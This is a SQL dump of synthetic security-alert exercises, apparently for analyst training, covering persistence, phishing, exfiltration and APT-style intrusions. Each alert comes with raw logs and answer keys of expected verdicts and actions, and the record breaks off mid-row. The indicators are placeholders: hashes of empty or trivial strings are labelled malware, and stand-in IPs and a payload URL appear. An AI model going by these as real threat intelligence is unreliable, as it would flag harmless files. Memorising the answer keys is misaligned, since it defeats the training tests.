(398, 'Vcrodat Malware Persistence Mechanism', 'high', 'System Logs', 'The Vcrodat malware has been observed manipulating registry keys for persistence. This is a known tactic of the Whitefly group to ensure continuous access to compromised systems. The malware modifies the registry key to execute a malicious payload upon system startup.', 'Persistence', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:21Z\",\"source_ip\":\"103.245.222.133\",\"destination_ip\":\"192.168.1.15\",\"username\":\"jdoe\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousApp\",\"registry_value_name\":\"MaliciousApp\",\"registry_value_data\":\"C:\\\\Windows\\\\System32\\\\ncsvc.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"process_id\":4824,\"process_name\":\"ncsvc.exe\"}', '2026-01-04 02:15:53', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"103.245.222.133\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal workstation.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with Vcrodat malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ncsvc.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Malicious executable used for persistence.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"User\'s account may be compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`) VALUES
(399, 'Compromised Open-Source Tool Identified', 'high', 'Open-Source Intelligence (OSINT)', 'An open-source tool frequently used by developers has been modified to include malicious code. The tool is leveraging legitimate traffic patterns to avoid detection by security systems. The malicious code attempts to establish a connection with a known malicious IP and downloads additional payloads.', 'Defense Evasion', 'T1562.001 - Impair Defenses: Disable or Modify Tools', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:25:36Z\",\"event_id\":\"EVT-1004\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"tool_name\":\"OpenSourceDevTool\",\"malicious_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"file_path\":\"/usr/local/bin/OpenSourceDevTool\",\"action\":\"download\",\"payload_url\":\"http://malicious.example.com/payload\",\"status\":\"success\"}', '2026-01-04 02:15:53', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware signature\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"/usr/local/bin/OpenSourceDevTool\",\"is_critical\":false,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"suspicious\",\"details\":\"Modified version of a known open-source tool\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious.example.com/payload\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"URL hosting malicious payload\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(400, 'Unauthorized Credentials Accessed', 'high', 'Security Information and Event Management (SIEM)', 'Compromised credentials were used by the attacker to perform lateral movement within the network. The attacker, associated with the Whitefly group, utilized stolen credentials to access multiple systems, potentially exfiltrating sensitive data.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_type\":\"authentication\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"username\":\"jdoe_admin\",\"action\":\"login_success\",\"details\":{\"method\":\"RDP\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"whitefly_tool.exe\"},\"network\":{\"src_port\":3389,\"dest_port\":3389}}', '2026-01-04 02:15:53', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Whitefly APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within corporate network.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"suspicious\",\"details\":\"Admin account used in unauthorized manner.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a tool used by Whitefly for lateral movement.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"whitefly_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"File used in conjunction with Whitefly\'s attack strategies.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', 'NULL', 1, 0, NULL),
(401, 'Unusual Data Access Patterns Detected', 'high', 'Data Loss Prevention (DLP)', 'Sensitive patient data and proprietary information from materials science research were accessed in a manner indicative of preparation for data exfiltration. The activity was detected originating from an internal network, accessing multiple sensitive files in quick succession, and communicating to an external IP address known for malicious activities.', 'Collection', 'T1119', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"dlp-collection-56789\",\"source_ip\":\"10.1.1.5\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"accessed_files\":[\"/research/patient_data/sensitive_data.xlsx\",\"/research/materials_science/proprietary_formula.docx\"],\"file_hashes\":[\"d41d8cd98f00b204e9800998ecf8427e\",\"5eb63bbbe01eeed093cb22bb8f5acdc3\"],\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"alert_reason\":\"Multiple sensitive files accessed and malware hash detected.\"}', '2026-01-04 02:15:53', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR Database\",\"verdict\":\"internal\",\"details\":\"Employee of the company.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with data exfiltration malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(402, 'Data Exfiltration Attempt Blocked', 'high', 'Firewall Logs', 'A detected attempt to transfer data to an external server was blocked. This represents the final stage of a sophisticated attack, indicating a potential breach.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T15:47:23Z\",\"firewall_id\":\"FW-12345\",\"action\":\"blocked\",\"source_ip\":\"10.0.15.23\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"username\":\"jdoe\",\"filename\":\"confidential_data.zip\",\"file_hash\":\"9e107d9d372bb6826bd81d3542a419d6\",\"policy_rule\":\"Block_Exfiltration_Attempts\",\"detection_method\":\"anomaly_detection\",\"alert_id\":\"alert-98765\",\"additional_info\":{\"attempted_bytes_transferred\":2048000,\"malware_family\":\"APT29\"}}', '2026-01-04 02:15:53', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with APT29.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.15.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host attempting unauthorized data transfer.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malicious exfiltration tool.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file format detected in unauthorized transfer attempt.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"User account involved in data exfiltration attempt.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(403, 'Suspicious Email Attachment Detected', 'medium', 'Email Gateway Logs', 'A spear-phishing email was detected targeting key personnel at the think tank. The email contained a document with malicious macros aiming to gain initial access to the network.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.5\",\"email_subject\":\"Urgent: Update Required\",\"sender_email\":\"attackers@maliciousdomain.com\",\"recipient_email\":\"john.doe@thinktank.org\",\"attachment_name\":\"UpdateInstructions.docm\",\"attachment_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"malware_family\":\"Emotet\",\"user\":\"jdoe\"}', '2026-01-04 02:18:47', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Emotet campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"attackers@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Email domain associated with phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"UpdateInstructions.docm\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"File contains macros linked to Emotet malware.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Emotet payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'NULL', 1, 0, NULL),
(404, 'Malicious Browser Extension Installed', 'high', 'Endpoint Detection and Response (EDR)', 'Upon opening the attachment, a script executes silently in the background, installing a malicious browser extension designed to intercept email credentials.', 'Execution', 'T1059', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"event_id\":\"4624\",\"computer_name\":\"user-pc.example.com\",\"user\":\"jdoe\",\"source_ip\":\"192.168.1.15\",\"attacker_ip\":\"203.0.113.5\",\"malicious_file\":\"browser_harvest_ext.crx\",\"file_hash\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"script_name\":\"install_extension.js\",\"process_id\":4321,\"action\":\"extension_installed\",\"extension_id\":\"abcdef123456\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\"}', '2026-01-04 02:18:47', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with credential harvesting campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareHashDB\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known malicious browser extensions.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"browser_harvest_ext.crx\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalEDR\",\"verdict\":\"suspicious\",\"details\":\"Detected as part of an unauthorized installation process.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(405, 'BabyShark VBS Script Execution', 'medium', 'System Event Logs', 'The BabyShark VBS script was executed to establish persistence on the compromised system. This script runs at startup, allowing attackers to maintain access over time.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"event_id\":\"7045\",\"timestamp\":\"2023-10-12T14:22:35Z\",\"computer_name\":\"compromised-host.local\",\"user\":\"SYSTEM\",\"action\":\"Service Installed\",\"service_name\":\"BabySharkVBS\",\"service_filename\":\"C:\\\\Windows\\\\System32\\\\BabyShark.vbs\",\"command_line\":\"wscript.exe C:\\\\Windows\\\\System32\\\\BabyShark.vbs\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.15\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"associated_user\":\"compromised_user\"}', '2026-01-04 02:18:47', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Public IP Blacklist\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hash Lookup\",\"verdict\":\"malicious\",\"details\":\"Hash matches known BabyShark VBS script.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"User account compromised as part of the attack.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Beginner', 'NULL', 1, 0, NULL),
(406, 'Unauthorized Access to Internal Network', 'high', 'Network Traffic Analysis', 'An attacker was detected moving laterally within the internal network by exploiting compromised credentials. The attacker was observed accessing multiple internal systems, suggesting an attempt to identify sensitive data and further vulnerabilities.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:35Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.5\",\"user\":\"jdoe\",\"action\":\"login_success\",\"protocol\":\"SMB\",\"file_accessed\":\"sensitive_data.xlsx\",\"hash\":\"3d2e4f8c5b9a4f4d9a7b0c9f1e2b3c4d\",\"event_id\":\"4624\",\"message\":\"User jdoe successfully logged in from 203.0.113.45 to 10.0.0.5 via SMB.\"}', '2026-01-04 02:18:47', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelligenceDatabase\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalNetwork\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalUserDatabase\",\"verdict\":\"internal\",\"details\":\"Compromised internal user account.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3d2e4f8c5b9a4f4d9a7b0c9f1e2b3c4d\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareDatabase\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known malware used for lateral movement.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'NULL', 1, 0, NULL),
(407, 'Data Exfiltration Detected', 'high', 'Data Loss Prevention (DLP) Systems', 'The Kimsuky APT group has successfully exfiltrated sensitive emails and documents related to nuclear policy. They utilized a compromised browser extension to send data back to their command and control servers.', 'Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:52:23Z\",\"event_id\":\"EXFIL-2023-1001\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"203.0.113.45\",\"user\":\"johndoe\",\"exfiltrated_files\":[\"nuclear_policy_draft.docx\",\"email_correspondence_2023.eml\"],\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malicious_extension_id\":\"kimsuky_extension_123\",\"c2_server\":\"malicious.kimsuky.org\"}', '2026-01-04 02:18:47', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known Kimsuky C2 server\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with Kimsuky malware\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"nuclear_policy_draft.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Sensitive document\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"johndoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Affected user\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(408, 'Initial Access via Supply Chain Compromise', 'high', 'Network Intrusion Detection System', 'APT41 has initiated an operation by exploiting a vulnerability in a third-party software update, gaining initial access to the targeted gaming company\'s network.', 'Supply Chain Attack', 'T1195.002 - Software Supply Chain', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:32Z\",\"event_id\":\"EVT-2023-20145\",\"source_ip\":\"198.51.100.14\",\"destination_ip\":\"10.0.5.25\",\"filename\":\"CCleaner_Update_v5.7.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"alert_name\":\"Suspicious Software Update\",\"user\":\"update_service\",\"description\":\"Detected a potentially malicious software update from a third-party provider.\"}', '2026-01-04 02:21:52', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.14\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous APT41 campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"CCleaner_Update_v5.7.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"File associated with supply chain attacks targeting software updates.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware variant used by APT41.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(409, 'Execution of Backdoor Malware', 'high', 'Endpoint Detection and Response', 'After gaining initial access, APT41 executes a custom backdoor, allowing them to control compromised systems remotely. The malware deployment was detected via an anomaly in the execution patterns on a critical server.', 'Malware Deployment', 'T1203: Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:01Z\",\"event_id\":\"EVT-2023-1023\",\"source_ip\":\"203.0.113.44\",\"destination_ip\":\"192.168.1.10\",\"user\":\"admin\",\"process_name\":\"svchost.exe\",\"malware_name\":\"APT41_Custom_Backdoor\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"backdoor.dll\",\"severity\":\"High\",\"action_taken\":\"Quarantine\"}', '2026-01-04 02:21:52', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.44\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple APT41 campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Critical server within the corporate network\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as known APT41 malware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"backdoor.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"malicious\",\"details\":\"Suspicious DLL associated with backdoor activities\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(410, 'Establishing Persistence with Rootkit', 'high', 'Host-based Intrusion Prevention System', 'APT41 has installed a rootkit on a key server to ensure long-term access and resist detection. This activity is part of their advanced tactics to maintain persistent access within the network.', 'Persistence Mechanism', 'T1014 - Rootkit', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:46:23Z\",\"event_id\":\"HIPS-2023-5567\",\"host_ip\":\"192.168.1.10\",\"detected_action\":\"Rootkit Installation\",\"malware_name\":\"APT41_Rootkit\",\"file_path\":\"/usr/local/bin/apt41_rootkit\",\"file_hash\":\"3a5f1d7b8ee1b9c3c0a8a9c512345678\",\"attacker_ip\":\"203.0.113.45\",\"detected_by\":\"HIPS\",\"username\":\"sysadmin\",\"additional_info\":{\"rootkit_persistence\":true,\"kernel_modification\":true}}', '2026-01-04 02:21:52', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Confirmed malicious IP associated with APT41 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3a5f1d7b8ee1b9c3c0a8a9c512345678\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Service\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known APT41 rootkit sample.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"/usr/local/bin/apt41_rootkit\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Filename associated with APT41 rootkit persistence mechanism.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"sysadmin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"User account with elevated privileges.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(411, 'Lateral Movement to PII Databases', 'critical', 'Security Information and Event Management', 'APT41 has successfully utilized harvested credentials to move laterally within the network, specifically targeting databases containing PII.', 'Credential Dumping', 'T1003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:47Z\",\"event_id\":\"4625\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"username\":\"compromised_user\",\"action\":\"lateral_movement\",\"tool\":\"Mimikatz\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"mimilib.dll\",\"event_description\":\"Failed login attempt detected on database server with potential credential dumping activity.\",\"additional_info\":{\"failed_logins\":5,\"successful_logins\":1,\"target_database\":\"PII_DB_01\"}}', '2026-01-04 02:21:52', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known to be associated with APT41 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal 